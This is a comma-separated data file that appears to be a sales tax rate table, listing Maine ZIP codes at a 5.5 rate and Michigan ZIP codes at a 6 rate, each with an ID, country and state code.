US-ME-04662,US,ME,04662,5.5,,,, US-ME-04664,US,ME,04664,5.5,,,, US-ME-04666,US,ME,04666,5.5,,,, US-ME-04667,US,ME,04667,5.5,,,, US-ME-04668,US,ME,04668,5.5,,,, US-ME-04669,US,ME,04669,5.5,,,, US-ME-04671,US,ME,04671,5.5,,,, US-ME-04672,US,ME,04672,5.5,,,, US-ME-04673,US,ME,04673,5.5,,,, US-ME-04674,US,ME,04674,5.5,,,, US-ME-04675,US,ME,04675,5.5,,,, US-ME-04676,US,ME,04676,5.5,,,, US-ME-04677,US,ME,04677,5.5,,,, US-ME-04679,US,ME,04679,5.5,,,, US-ME-04680,US,ME,04680,5.5,,,, US-ME-04681,US,ME,04681,5.5,,,, US-ME-04683,US,ME,04683,5.5,,,, US-ME-04684,US,ME,04684,5.5,,,, US-ME-04685,US,ME,04685,5.5,,,, US-ME-04686,US,ME,04686,5.5,,,, US-ME-04691,US,ME,04691,5.5,,,, US-ME-04693,US,ME,04693,5.5,,,, US-ME-04694,US,ME,04694,5.5,,,, US-ME-04730,US,ME,04730,5.5,,,, US-ME-04732,US,ME,04732,5.5,,,, US-ME-04733,US,ME,04733,5.5,,,, US-ME-04734,US,ME,04734,5.5,,,, US-ME-04735,US,ME,04735,5.5,,,, US-ME-04736,US,ME,04736,5.5,,,, US-ME-04737,US,ME,04737,5.5,,,, US-ME-04738,US,ME,04738,5.5,,,, US-ME-04739,US,ME,04739,5.5,,,, US-ME-04740,US,ME,04740,5.5,,,, US-ME-04741,US,ME,04741,5.5,,,, US-ME-04742,US,ME,04742,5.5,,,, US-ME-04743,US,ME,04743,5.5,,,, US-ME-04744,US,ME,04744,5.5,,,, US-ME-04745,US,ME,04745,5.5,,,, US-ME-04746,US,ME,04746,5.5,,,, US-ME-04747,US,ME,04747,5.5,,,, US-ME-04750,US,ME,04750,5.5,,,, US-ME-04751,US,ME,04751,5.5,,,, US-ME-04756,US,ME,04756,5.5,,,, US-ME-04757,US,ME,04757,5.5,,,, US-ME-04758,US,ME,04758,5.5,,,, US-ME-04760,US,ME,04760,5.5,,,, US-ME-04761,US,ME,04761,5.5,,,, US-ME-04762,US,ME,04762,5.5,,,, US-ME-04763,US,ME,04763,5.5,,,, US-ME-04764,US,ME,04764,5.5,,,, US-ME-04765,US,ME,04765,5.5,,,, US-ME-04766,US,ME,04766,5.5,,,, US-ME-04768,US,ME,04768,5.5,,,, US-ME-04769,US,ME,04769,5.5,,,, US-ME-04772,US,ME,04772,5.5,,,, US-ME-04773,US,ME,04773,5.5,,,, US-ME-04774,US,ME,04774,5.5,,,, US-ME-04775,US,ME,04775,5.5,,,, US-ME-04776,US,ME,04776,5.5,,,, US-ME-04777,US,ME,04777,5.5,,,, US-ME-04779,US,ME,04779,5.5,,,, US-ME-04780,US,ME,04780,5.5,,,, US-ME-04781,US,ME,04781,5.5,,,, US-ME-04783,US,ME,04783,5.5,,,, US-ME-04785,US,ME,04785,5.5,,,, US-ME-04786,US,ME,04786,5.5,,,, US-ME-04787,US,ME,04787,5.5,,,, US-ME-04841,US,ME,04841,5.5,,,, US-ME-04843,US,ME,04843,5.5,,,, US-ME-04846,US,ME,04846,5.5,,,, US-ME-04847,US,ME,04847,5.5,,,, US-ME-04848,US,ME,04848,5.5,,,, US-ME-04849,US,ME,04849,5.5,,,, US-ME-04850,US,ME,04850,5.5,,,, US-ME-04851,US,ME,04851,5.5,,,, US-ME-04852,US,ME,04852,5.5,,,, US-ME-04853,US,ME,04853,5.5,,,, US-ME-04854,US,ME,04854,5.5,,,, US-ME-04855,US,ME,04855,5.5,,,, US-ME-04856,US,ME,04856,5.5,,,, US-ME-04858,US,ME,04858,5.5,,,, US-ME-04859,US,ME,04859,5.5,,,, US-ME-04860,US,ME,04860,5.5,,,, US-ME-04861,US,ME,04861,5.5,,,, US-ME-04862,US,ME,04862,5.5,,,, US-ME-04863,US,ME,04863,5.5,,,, US-ME-04864,US,ME,04864,5.5,,,, US-ME-04865,US,ME,04865,5.5,,,, US-ME-04901,US,ME,04901,5.5,,,, US-ME-04903,US,ME,04903,5.5,,,, US-ME-04910,US,ME,04910,5.5,,,, US-ME-04911,US,ME,04911,5.5,,,, US-ME-04912,US,ME,04912,5.5,,,, US-ME-04915,US,ME,04915,5.5,,,, US-ME-04917,US,ME,04917,5.5,,,, US-ME-04918,US,ME,04918,5.5,,,, US-ME-04920,US,ME,04920,5.5,,,, US-ME-04921,US,ME,04921,5.5,,,, US-ME-04922,US,ME,04922,5.5,,,, US-ME-04923,US,ME,04923,5.5,,,, US-ME-04924,US,ME,04924,5.5,,,, US-ME-04925,US,ME,04925,5.5,,,, US-ME-04926,US,ME,04926,5.5,,,, US-ME-04927,US,ME,04927,5.5,,,, US-ME-04928,US,ME,04928,5.5,,,, US-ME-04929,US,ME,04929,5.5,,,, US-ME-04930,US,ME,04930,5.5,,,, US-ME-04932,US,ME,04932,5.5,,,, US-ME-04933,US,ME,04933,5.5,,,, US-ME-04935,US,ME,04935,5.5,,,, US-ME-04936,US,ME,04936,5.5,,,, US-ME-04937,US,ME,04937,5.5,,,, US-ME-04938,US,ME,04938,5.5,,,, US-ME-04939,US,ME,04939,5.5,,,, US-ME-04940,US,ME,04940,5.5,,,, US-ME-04941,US,ME,04941,5.5,,,, US-ME-04942,US,ME,04942,5.5,,,, US-ME-04943,US,ME,04943,5.5,,,, US-ME-04944,US,ME,04944,5.5,,,, US-ME-04945,US,ME,04945,5.5,,,, US-ME-04947,US,ME,04947,5.5,,,, US-ME-04949,US,ME,04949,5.5,,,, US-ME-04950,US,ME,04950,5.5,,,, US-ME-04951,US,ME,04951,5.5,,,, US-ME-04952,US,ME,04952,5.5,,,, US-ME-04953,US,ME,04953,5.5,,,, US-ME-04954,US,ME,04954,5.5,,,, US-ME-04955,US,ME,04955,5.5,,,, US-ME-04956,US,ME,04956,5.5,,,, US-ME-04957,US,ME,04957,5.5,,,, US-ME-04958,US,ME,04958,5.5,,,, US-ME-04961,US,ME,04961,5.5,,,, US-ME-04962,US,ME,04962,5.5,,,, US-ME-04963,US,ME,04963,5.5,,,, US-ME-04964,US,ME,04964,5.5,,,, US-ME-04965,US,ME,04965,5.5,,,, US-ME-04966,US,ME,04966,5.5,,,, US-ME-04967,US,ME,04967,5.5,,,, US-ME-04969,US,ME,04969,5.5,,,, US-ME-04970,US,ME,04970,5.5,,,, US-ME-04971,US,ME,04971,5.5,,,, US-ME-04972,US,ME,04972,5.5,,,, US-ME-04973,US,ME,04973,5.5,,,, US-ME-04974,US,ME,04974,5.5,,,, US-ME-04975,US,ME,04975,5.5,,,, US-ME-04976,US,ME,04976,5.5,,,, US-ME-04978,US,ME,04978,5.5,,,, US-ME-04979,US,ME,04979,5.5,,,, US-ME-04981,US,ME,04981,5.5,,,, US-ME-04982,US,ME,04982,5.5,,,, US-ME-04983,US,ME,04983,5.5,,,, US-ME-04984,US,ME,04984,5.5,,,, US-ME-04985,US,ME,04985,5.5,,,, US-ME-04986,US,ME,04986,5.5,,,, US-ME-04987,US,ME,04987,5.5,,,, US-ME-04988,US,ME,04988,5.5,,,, US-ME-04989,US,ME,04989,5.5,,,, US-ME-04992,US,ME,04992,5.5,,,, US-MI-48001,US,MI,48001,6,,,, US-MI-48002,US,MI,48002,6,,,, US-MI-48003,US,MI,48003,6,,,, US-MI-48004,US,MI,48004,6,,,, US-MI-48005,US,MI,48005,6,,,, US-MI-48006,US,MI,48006,6,,,, US-MI-48007,US,MI,48007,6,,,, US-MI-48009,US,MI,48009,6,,,, US-MI-48012,US,MI,48012,6,,,, US-MI-48014,US,MI,48014,6,,,, US-MI-48015,US,MI,48015,6,,,, US-MI-48017,US,MI,48017,6,,,, US-MI-48021,US,MI,48021,6,,,, US-MI-48022,US,MI,48022,6,,,, US-MI-48023,US,MI,48023,6,,,, US-MI-48025,US,MI,48025,6,,,, US-MI-48026,US,MI,48026,6,,,, US-MI-48027,US,MI,48027,6,,,, US-MI-48028,US,MI,48028,6,,,, US-MI-48030,US,MI,48030,6,,,, US-MI-48032,US,MI,48032,6,,,, US-MI-48033,US,MI,48033,6,,,, US-MI-48034,US,MI,48034,6,,,, US-MI-48035,US,MI,48035,6,,,, US-MI-48036,US,MI,48036,6,,,, US-MI-48037,US,MI,48037,6,,,, US-MI-48038,US,MI,48038,6,,,, US-MI-48039,US,MI,48039,6,,,, US-MI-48040,US,MI,48040,6,,,, US-MI-48041,US,MI,48041,6,,,, US-MI-48042,US,MI,48042,6,,,, US-MI-48043,US,MI,48043,6,,,, US-MI-48044,US,MI,48044,6,,,, US-MI-48045,US,MI,48045,6,,,, US-MI-48046,US,MI,48046,6,,,, US-MI-48047,US,MI,48047,6,,,, US-MI-48048,US,MI,48048,6,,,, US-MI-48049,US,MI,48049,6,,,, US-MI-48050,US,MI,48050,6,,,, US-MI-48051,US,MI,48051,6,,,, US-MI-48054,US,MI,48054,6,,,, US-MI-48059,US,MI,48059,6,,,, US-MI-48060,US,MI,48060,6,,,, US-MI-48061,US,MI,48061,6,,,, US-MI-48062,US,MI,48062,6,,,, US-MI-48063,US,MI,48063,6,,,, US-MI-48064,US,MI,48064,6,,,, US-MI-48065,US,MI,48065,6,,,, US-MI-48066,US,MI,48066,6,,,, US-MI-48067,US,MI,48067,6,,,, US-MI-48068,US,MI,48068,6,,,, US-MI-48069,US,MI,48069,6,,,, US-MI-48070,US,MI,48070,6,,,, US-MI-48071,US,MI,48071,6,,,, US-MI-48072,US,MI,48072,6,,,, US-MI-48073,US,MI,48073,6,,,, US-MI-48074,US,MI,48074,6,,,, US-MI-48075,US,MI,48075,6,,,, US-MI-48076,US,MI,48076,6,,,, US-MI-48079,US,MI,48079,6,,,, US-MI-48080,US,MI,48080,6,,,, US-MI-48081,US,MI,48081,6,,,, US-MI-48082,US,MI,48082,6,,,, US-MI-48083,US,MI,48083,6,,,, US-MI-48084,US,MI,48084,6,,,, US-MI-48085,US,MI,48085,6,,,, US-MI-48086,US,MI,48086,6,,,, US-MI-48088,US,MI,48088,6,,,, US-MI-48089,US,MI,48089,6,,,, US-MI-48090,US,MI,48090,6,,,, US-MI-48091,US,MI,48091,6,,,, US-MI-48092,US,MI,48092,6,,,, US-MI-48093,US,MI,48093,6,,,, US-MI-48094,US,MI,48094,6,,,, US-MI-48095,US,MI,48095,6,,,, US-MI-48096,US,MI,48096,6,,,, US-MI-48097,US,MI,48097,6,,,, US-MI-48098,US,MI,48098,6,,,, US-MI-48099,US,MI,48099,6,,,, US-MI-48101,US,MI,48101,6,,,, US-MI-48103,US,MI,48103,6,,,, US-MI-48104,US,MI,48104,6,,,, US-MI-48105,US,MI,48105,6,,,, US-MI-48106,US,MI,48106,6,,,, US-MI-48107,US,MI,48107,6,,,, US-MI-48108,US,MI,48108,6,,,, US-MI-48109,US,MI,48109,6,,,, US-MI-48110,US,MI,48110,6,,,, US-MI-48111,US,MI,48111,6,,,, US-MI-48112,US,MI,48112,6,,,, US-MI-48113,US,MI,48113,6,,,, US-MI-48114,US,MI,48114,6,,,, US-MI-48115,US,MI,48115,6,,,, US-MI-48116,US,MI,48116,6,,,, US-MI-48117,US,MI,48117,6,,,, US-MI-48118,US,MI,48118,6,,,, US-MI-48120,US,MI,48120,6,,,, US-MI-48121,US,MI,48121,6,,,, US-MI-48122,US,MI,48122,6,,,, US-MI-48123,US,MI,48123,6,,,, US-MI-48124,US,MI,48124,6,,,, US-MI-48125,US,MI,48125,6,,,, US-MI-48126,US,MI,48126,6,,,, US-MI-48127,US,MI,48127,6,,,, US-MI-48128,US,MI,48128,6,,,, US-MI-48130,US,MI,48130,6,,,, US-MI-48131,US,MI,48131,6,,,, US-MI-48133,US,MI,48133,6,,,, US-MI-48134,US,MI,48134,6,,,, US-MI-48135,US,MI,48135,6,,,, US-MI-48136,US,MI,48136,6,,,, US-MI-48137,US,MI,48137,6,,,, US-MI-48138,US,MI,48138,6,,,, US-MI-48139,US,MI,48139,6,,,, US-MI-48140,US,MI,48140,6,,,, US-MI-48141,US,MI,48141,6,,,, US-MI-48143,US,MI,48143,6,,,, US-MI-48144,US,MI,48144,6,,,, US-MI-48145,US,MI,48145,6,,,, US-MI-48146,US,MI,48146,6,,,, US-MI-48150,US,MI,48150,6,,,, US-MI-48151,US,MI,48151,6,,,, US-MI-48152,US,MI,48152,6,,,, US-MI-48153,US,MI,48153,6,,,, US-MI-48154,US,MI,48154,6,,,, US-MI-48157,US,MI,48157,6,,,, US-MI-48158,US,MI,48158,6,,,, US-MI-48159,US,MI,48159,6,,,, US-MI-48160,US,MI,48160,6,,,, US-MI-48161,US,MI,48161,6,,,, US-MI-48162,US,MI,48162,6,,,, US-MI-48164,US,MI,48164,6,,,, US-MI-48165,US,MI,48165,6,,,, US-MI-48166,US,MI,48166,6,,,, US-MI-48167,US,MI,48167,6,,,, US-MI-48168,US,MI,48168,6,,,, US-MI-48169,US,MI,48169,6,,,, US-MI-48170,US,MI,48170,6,,,, US-MI-48173,US,MI,48173,6,,,, US-MI-48174,US,MI,48174,6,,,, US-MI-48175,US,MI,48175,6,,,, US-MI-48176,US,MI,48176,6,,,, US-MI-48177,US,MI,48177,6,,,, US-MI-48178,US,MI,48178,6,,,, US-MI-48179,US,MI,48179,6,,,, US-MI-48180,US,MI,48180,6,,,, US-MI-48182,US,MI,48182,6,,,, US-MI-48183,US,MI,48183,6,,,, US-MI-48184,US,MI,48184,6,,,, US-MI-48185,US,MI,48185,6,,,, US-MI-48186,US,MI,48186,6,,,, US-MI-48187,US,MI,48187,6,,,, US-MI-48188,US,MI,48188,6,,,, US-MI-48189,US,MI,48189,6,,,, US-MI-48190,US,MI,48190,6,,,, US-MI-48191,US,MI,48191,6,,,, US-MI-48192,US,MI,48192,6,,,, US-MI-48193,US,MI,48193,6,,,, US-MI-48195,US,MI,48195,6,,,, US-MI-48197,US,MI,48197,6,,,, US-MI-48198,US,MI,48198,6,,,, US-MI-48201,US,MI,48201,6,,,, US-MI-48202,US,MI,48202,6,,,, US-MI-48203,US,MI,48203,6,,,, US-MI-48204,US,MI,48204,6,,,, US-MI-48205,US,MI,48205,6,,,, US-MI-48206,US,MI,48206,6,,,, US-MI-48207,US,MI,48207,6,,,, US-MI-48208,US,MI,48208,6,,,, US-MI-48209,US,MI,48209,6,,,, US-MI-48210,US,MI,48210,6,,,, US-MI-48211,US,MI,48211,6,,,, US-MI-48212,US,MI,48212,6,,,, US-MI-48213,US,MI,48213,6,,,, US-MI-48214,US,MI,48214,6,,,, US-MI-48215,US,MI,48215,6,,,, US-MI-48216,US,MI,48216,6,,,, US-MI-48217,US,MI,48217,6,,,, US-MI-48218,US,MI,48218,6,,,, US-MI-48219,US,MI,48219,6,,,, US-MI-48220,US,MI,48220,6,,,, US-MI-48221,US,MI,48221,6,,,, US-MI-48222,US,MI,48222,6,,,, US-MI-48223,US,MI,48223,6,,,, US-MI-48224,US,MI,48224,6,,,, US-MI-48225,US,MI,48225,6,,,, US-MI-48226,US,MI,48226,6,,,, US-MI-48227,US,MI,48227,6,,,, US-MI-48228,US,MI,48228,6,,,, US-MI-48229,US,MI,48229,6,,,, US-MI-48230,US,MI,48230,6,,,, US-MI-48231,US,MI,48231,6,,,, US-MI-48232,US,MI,48232,6,,,, US-MI-48233,US,MI,48233,6,,,, US-MI-48234,US,MI,48234,6,,,, US-MI-48235,US,MI,48235,6,,,, US-MI-48236,US,MI,48236,6,,,, US-MI-48237,US,MI,48237,6,,,, US-MI-48238,US,MI,48238,6,,,, US-MI-48239,US,MI,48239,6,,,, US-MI-48240,US,MI,48240,6,,,, US-MI-48242,US,MI,48242,6,,,, US-MI-48243,US,MI,48243,6,,,, US-MI-48244,US,MI,48244,6,,,, US-MI-48255,US,MI,48255,6,,,, US-MI-48260,US,MI,48260,6,,,, US-MI-48264,US,MI,48264,6,,,, US-MI-48265,US,MI,48265,6,,,, US-MI-48266,US,MI,48266,6,,,, US-MI-48267,US,MI,48267,6,,,, US-MI-48268,US,MI,48268,6,,,, US-MI-48269,US,MI,48269,6,,,, US-MI-48272,US,MI,48272,6,,,, US-MI-48275,US,MI,48275,6,,,, US-MI-48277,US,MI,48277,6,,,, US-MI-48278,US,MI,48278,6,,,, US-MI-48279,US,MI,48279,6,,,, US-MI-48288,US,MI,48288,6,,,, US-MI-48301,US,MI,48301,6,,,, US-MI-48302,US,MI,48302,6,,,, US-MI-48303,US,MI,48303,6,,,, US-MI-48304,US,MI,48304,6,,,, US-MI-48306,US,MI,48306,6,,,, US-MI-48307,US,MI,48307,6,,,, US-MI-48308,US,MI,48308,6,,,, US-MI-48309,US,MI,48309,6,,,, US-MI-48310,US,MI,48310,6,,,, US-MI-48311,US,MI,48311,6,,,, US-MI-48312,US,MI,48312,6,,,, US-MI-48313,US,MI,48313,6,,,, US-MI-48314,US,MI,48314,6,,,, US-MI-48315,US,MI,48315,6,,,, US-MI-48316,US,MI,48316,6,,,, US-MI-48317,US,MI,48317,6,,,, US-MI-48318,US,MI,48318,6,,,, US-MI-48320,US,MI,48320,6,,,, US-MI-48321,US,MI,48321,6,,,, US-MI-48322,US,MI,48322,6,,,, US-MI-48323,US,MI,48323,6,,,, US-MI-48324,US,MI,48324,6,,,, US-MI-48325,US,MI,48325,6,,,, US-MI-48326,US,MI,48326,6,,,, US-MI-48327,US,MI,48327,6,,,, US-MI-48328,US,MI,48328,6,,,, US-MI-48329,US,MI,48329,6,,,, US-MI-48330,US,MI,48330,6,,,, US-MI-48331,US,MI,48331,6,,,, US-MI-48332,US,MI,48332,6,,,, US-MI-48333,US,MI,48333,6,,,, US-MI-48334,US,MI,48334,6,,,, US-MI-48335,US,MI,48335,6,,,, US-MI-48336,US,MI,48336,6,,,, US-MI-48340,US,MI,48340,6,,,, US-MI-48341,US,MI,48341,6,,,, US-MI-48342,US,MI,48342,6,,,, US-MI-48343,US,MI,48343,6,,,, US-MI-48346,US,MI,48346,6,,,, US-MI-48347,US,MI,48347,6,,,, US-MI-48348,US,MI,48348,6,,,, US-MI-48350,US,MI,48350,6,,,, US-MI-48353,US,MI,48353,6,,,, US-MI-48356,US,MI,48356,6,,,, US-MI-48357,US,MI,48357,6,,,, US-MI-48359,US,MI,48359,6,,,, US-MI-48360,US,MI,48360,6,,,, US-MI-48361,US,MI,48361,6,,,, US-MI-48362,US,MI,48362,6,,,, US-MI-48363,US,MI,48363,6,,,, US-MI-48366,US,MI,48366,6,,,, US-MI-48367,US,MI,48367,6,,,, US-MI-48370,US,MI,48370,6,,,, US-MI-48371,US,MI,48371,6,,,, US-MI-48374,US,MI,48374,6,,,, US-MI-48375,US,MI,48375,6,,,, US-MI-48376,US,MI,48376,6,,,, US-MI-48377,US,MI,48377,6,,,, US-MI-48380,US,MI,48380,6,,,, US-MI-48381,US,MI,48381,6,,,, US-MI-48382,US,MI,48382,6,,,, US-MI-48383,US,MI,48383,6,,,, US-MI-48386,US,MI,48386,6,,,, US-MI-48387,US,MI,48387,6,,,, US-MI-48390,US,MI,48390,6,,,, US-MI-48391,US,MI,48391,6,,,, US-MI-48393,US,MI,48393,6,,,, US-MI-48397,US,MI,48397,6,,,, US-MI-48401,US,MI,48401,6,,,, US-MI-48410,US,MI,48410,6,,,, US-MI-48411,US,MI,48411,6,,,, US-MI-48412,US,MI,48412,6,,,, US-MI-48413,US,MI,48413,6,,,, US-MI-48414,US,MI,48414,6,,,, US-MI-48415,US,MI,48415,6,,,, US-MI-48416,US,MI,48416,6,,,, US-MI-48417,US,MI,48417,6,,,, US-MI-48418,US,MI,48418,6,,,, US-MI-48419,US,MI,48419,6,,,, US-MI-48420,US,MI,48420,6,,,, US-MI-48421,US,MI,48421,6,,,, US-MI-48422,US,MI,48422,6,,,, US-MI-48423,US,MI,48423,6,,,, US-MI-48426,US,MI,48426,6,,,, US-MI-48427,US,MI,48427,6,,,, US-MI-48428,US,MI,48428,6,,,, US-MI-48429,US,MI,48429,6,,,, US-MI-48430,US,MI,48430,6,,,, US-MI-48432,US,MI,48432,6,,,, US-MI-48433,US,MI,48433,6,,,, US-MI-48434,US,MI,48434,6,,,, US-MI-48435,US,MI,48435,6,,,, US-MI-48436,US,MI,48436,6,,,, US-MI-48437,US,MI,48437,6,,,, US-MI-48438,US,MI,48438,6,,,, US-MI-48439,US,MI,48439,6,,,, US-MI-48440,US,MI,48440,6,,,, US-MI-48441,US,MI,48441,6,,,, US-MI-48442,US,MI,48442,6,,,, US-MI-48444,US,MI,48444,6,,,, US-MI-48445,US,MI,48445,6,,,, US-MI-48446,US,MI,48446,6,,,, US-MI-48449,US,MI,48449,6,,,, US-MI-48450,US,MI,48450,6,,,, US-MI-48451,US,MI,48451,6,,,, US-MI-48453,US,MI,48453,6,,,, US-MI-48454,US,MI,48454,6,,,, US-MI-48455,US,MI,48455,6,,,, US-MI-48456,US,MI,48456,6,,,, US-MI-48457,US,MI,48457,6,,,, US-MI-48458,US,MI,48458,6,,,, US-MI-48460,US,MI,48460,6,,,, US-MI-48461,US,MI,48461,6,,,, US-MI-48462,US,MI,48462,6,,,, US-MI-48463,US,MI,48463,6,,,, US-MI-48464,US,MI,48464,6,,,, US-MI-48465,US,MI,48465,6,,,, US-MI-48466,US,MI,48466,6,,,, US-MI-48467,US,MI,48467,6,,,, US-MI-48468,US,MI,48468,6,,,, US-MI-48469,US,MI,48469,6,,,, US-MI-48470,US,MI,48470,6,,,, US-MI-48471,US,MI,48471,6,,,, US-MI-48472,US,MI,48472,6,,,, US-MI-48473,US,MI,48473,6,,,, US-MI-48475,US,MI,48475,6,,,, US-MI-48476,US,MI,48476,6,,,, US-MI-48480,US,MI,48480,6,,,, US-MI-48501,US,MI,48501,6,,,, US-MI-48502,US,MI,48502,6,,,, US-MI-48503,US,MI,48503,6,,,, US-MI-48504,US,MI,48504,6,,,, US-MI-48505,US,MI,48505,6,,,, US-MI-48506,US,MI,48506,6,,,, US-MI-48507,US,MI,48507,6,,,, US-MI-48509,US,MI,48509,6,,,, US-MI-48519,US,MI,48519,6,,,, US-MI-48529,US,MI,48529,6,,,, US-MI-48531,US,MI,48531,6,,,, US-MI-48532,US,MI,48532,6,,,, US-MI-48550,US,MI,48550,6,,,, US-MI-48551,US,MI,48551,6,,,, US-MI-48552,US,MI,48552,6,,,, US-MI-48553,US,MI,48553,6,,,, US-MI-48554,US,MI,48554,6,,,, US-MI-48555,US,MI,48555,6,,,, US-MI-48556,US,MI,48556,6,,,, US-MI-48557,US,MI,48557,6,,,, US-MI-48601,US,MI,48601,6,,,, US-MI-48602,US,MI,48602,6,,,, US-MI-48603,US,MI,48603,6,,,, US-MI-48604,US,MI,48604,6,,,, US-MI-48605,US,MI,48605,6,,,, US-MI-48606,US,MI,48606,6,,,, US-MI-48607,US,MI,48607,6,,,, US-MI-48608,US,MI,48608,6,,,, US-MI-48609,US,MI,48609,6,,,, US-MI-48610,US,MI,48610,6,,,, US-MI-48611,US,MI,48611,6,,,, US-MI-48612,US,MI,48612,6,,,, US-MI-48613,US,MI,48613,6,,,, US-MI-48614,US,MI,48614,6,,,, US-MI-48615,US,MI,48615,6,,,, US-MI-48616,US,MI,48616,6,,,, US-MI-48617,US,MI,48617,6,,,, US-MI-48618,US,MI,48618,6,,,, US-MI-48619,US,MI,48619,6,,,, US-MI-48620,US,MI,48620,6,,,, US-MI-48621,US,MI,48621,6,,,, US-MI-48622,US,MI,48622,6,,,, US-MI-48623,US,MI,48623,6,,,, US-MI-48624,US,MI,48624,6,,,, US-MI-48625,US,MI,48625,6,,,, US-MI-48626,US,MI,48626,6,,,, US-MI-48627,US,MI,48627,6,,,, US-MI-48628,US,MI,48628,6,,,, US-MI-48629,US,MI,48629,6,,,, US-MI-48630,US,MI,48630,6,,,, US-MI-48631,US,MI,48631,6,,,, US-MI-48632,US,MI,48632,6,,,, US-MI-48633,US,MI,48633,6,,,, US-MI-48634,US,MI,48634,6,,,, US-MI-48635,US,MI,48635,6,,,, US-MI-48636,US,MI,48636,6,,,, US-MI-48637,US,MI,48637,6,,,, US-MI-48638,US,MI,48638,6,,,, US-MI-48640,US,MI,48640,6,,,, US-MI-48641,US,MI,48641,6,,,, US-MI-48642,US,MI,48642,6,,,, US-MI-48647,US,MI,48647,6,,,, US-MI-48649,US,MI,48649,6,,,, US-MI-48650,US,MI,48650,6,,,, US-MI-48651,US,MI,48651,6,,,, US-MI-48652,US,MI,48652,6,,,, US-MI-48653,US,MI,48653,6,,,, US-MI-48654,US,MI,48654,6,,,, US-MI-48655,US,MI,48655,6,,,, US-MI-48656,US,MI,48656,6,,,, US-MI-48657,US,MI,48657,6,,,, US-MI-48658,US,MI,48658,6,,,, US-MI-48659,US,MI,48659,6,,,, US-MI-48661,US,MI,48661,6,,,, US-MI-48662,US,MI,48662,6,,,, US-MI-48663,US,MI,48663,6,,,, US-MI-48667,US,MI,48667,6,,,, US-MI-48670,US,MI,48670,6,,,, US-MI-48674,US,MI,48674,6,,,, US-MI-48686,US,MI,48686,6,,,, US-MI-48701,US,MI,48701,6,,,, US-MI-48703,US,MI,48703,6,,,, US-MI-48705,US,MI,48705,6,,,, US-MI-48706,US,MI,48706,6,,,, US-MI-48707,US,MI,48707,6,,,, US-MI-48708,US,MI,48708,6,,,, US-MI-48710,US,MI,48710,6,,,, US-MI-48720,US,MI,48720,6,,,, US-MI-48721,US,MI,48721,6,,,, US-MI-48722,US,MI,48722,6,,,, US-MI-48723,US,MI,48723,6,,,, US-MI-48724,US,MI,48724,6,,,, US-MI-48725,US,MI,48725,6,,,, US-MI-48726,US,MI,48726,6,,,, US-MI-48727,US,MI,48727,6,,,, US-MI-48728,US,MI,48728,6,,,, US-MI-48729,US,MI,48729,6,,,, US-MI-48730,US,MI,48730,6,,,, US-MI-48731,US,MI,48731,6,,,, US-MI-48732,US,MI,48732,6,,,, US-MI-48733,US,MI,48733,6,,,, US-MI-48734,US,MI,48734,6,,,, US-MI-48735,US,MI,48735,6,,,, US-MI-48737,US,MI,48737,6,,,, US-MI-48738,US,MI,48738,6,,,, US-MI-48739,US,MI,48739,6,,,, US-MI-48740,US,MI,48740,6,,,, US-MI-48741,US,MI,48741,6,,,, US-MI-48742,US,MI,48742,6,,,, US-MI-48743,US,MI,48743,6,,,, US-MI-48744,US,MI,48744,6,,,, US-MI-48745,US,MI,48745,6,,,, US-MI-48746,US,MI,48746,6,,,, US-MI-48747,US,MI,48747,6,,,, US-MI-48748,US,MI,48748,6,,,, US-MI-48749,US,MI,48749,6,,,, US-MI-48750,US,MI,48750,6,,,, US-MI-48754,US,MI,48754,6,,,, US-MI-48755,US,MI,48755,6,,,, US-MI-48756,US,MI,48756,6,,,, US-MI-48757,US,MI,48757,6,,,, US-MI-48758,US,MI,48758,6,,,, US-MI-48759,US,MI,48759,6,,,, US-MI-48760,US,MI,48760,6,,,, US-MI-48761,US,MI,48761,6,,,, US-MI-48762,US,MI,48762,6,,,, US-MI-48763,US,MI,48763,6,,,, US-MI-48764,US,MI,48764,6,,,, US-MI-48765,US,MI,48765,6,,,, US-MI-48766,US,MI,48766,6,,,, US-MI-48767,US,MI,48767,6,,,, US-MI-48768,US,MI,48768,6,,,, US-MI-48770,US,MI,48770,6,,,, US-MI-48787,US,MI,48787,6,,,, US-MI-48801,US,MI,48801,6,,,, US-MI-48804,US,MI,48804,6,,,, US-MI-48805,US,MI,48805,6,,,, US-MI-48806,US,MI,48806,6,,,, US-MI-48807,US,MI,48807,6,,,, US-MI-48808,US,MI,48808,6,,,, US-MI-48809,US,MI,48809,6,,,, US-MI-48811,US,MI,48811,6,,,, US-MI-48812,US,MI,48812,6,,,, US-MI-48813,US,MI,48813,6,,,, US-MI-48815,US,MI,48815,6,,,, US-MI-48816,US,MI,48816,6,,,, US-MI-48817,US,MI,48817,6,,,, US-MI-48818,US,MI,48818,6,,,, US-MI-48819,US,MI,48819,6,,,, US-MI-48820,US,MI,48820,6,,,, US-MI-48821,US,MI,48821,6,,,, US-MI-48822,US,MI,48822,6,,,, US-MI-48823,US,MI,48823,6,,,, US-MI-48824,US,MI,48824,6,,,, US-MI-48825,US,MI,48825,6,,,, US-MI-48826,US,MI,48826,6,,,, US-MI-48827,US,MI,48827,6,,,, US-MI-48829,US,MI,48829,6,,,, US-MI-48830,US,MI,48830,6,,,, US-MI-48831,US,MI,48831,6,,,, US-MI-48832,US,MI,48832,6,,,, US-MI-48833,US,MI,48833,6,,,, US-MI-48834,US,MI,48834,6,,,, US-MI-48835,US,MI,48835,6,,,, US-MI-48836,US,MI,48836,6,,,, US-MI-48837,US,MI,48837,6,,,, US-MI-48838,US,MI,48838,6,,,, US-MI-48840,US,MI,48840,6,,,, US-MI-48841,US,MI,48841,6,,,, US-MI-48842,US,MI,48842,6,,,, US-MI-48843,US,MI,48843,6,,,, US-MI-48844,US,MI,48844,6,,,, US-MI-48845,US,MI,48845,6,,,, US-MI-48846,US,MI,48846,6,,,, US-MI-48847,US,MI,48847,6,,,, US-MI-48848,US,MI,48848,6,,,, US-MI-48849,US,MI,48849,6,,,, US-MI-48850,US,MI,48850,6,,,, US-MI-48851,US,MI,48851,6,,,, US-MI-48852,US,MI,48852,6,,,, US-MI-48853,US,MI,48853,6,,,, US-MI-48854,US,MI,48854,6,,,, US-MI-48855,US,MI,48855,6,,,, US-MI-48856,US,MI,48856,6,,,, US-MI-48857,US,MI,48857,6,,,, US-MI-48858,US,MI,48858,6,,,, US-MI-48859,US,MI,48859,6,,,, US-MI-48860,US,MI,48860,6,,,, US-MI-48861,US,MI,48861,6,,,, US-MI-48862,US,MI,48862,6,,,, US-MI-48864,US,MI,48864,6,,,, US-MI-48865,US,MI,48865,6,,,, US-MI-48866,US,MI,48866,6,,,, US-MI-48867,US,MI,48867,6,,,, US-MI-48870,US,MI,48870,6,,,, 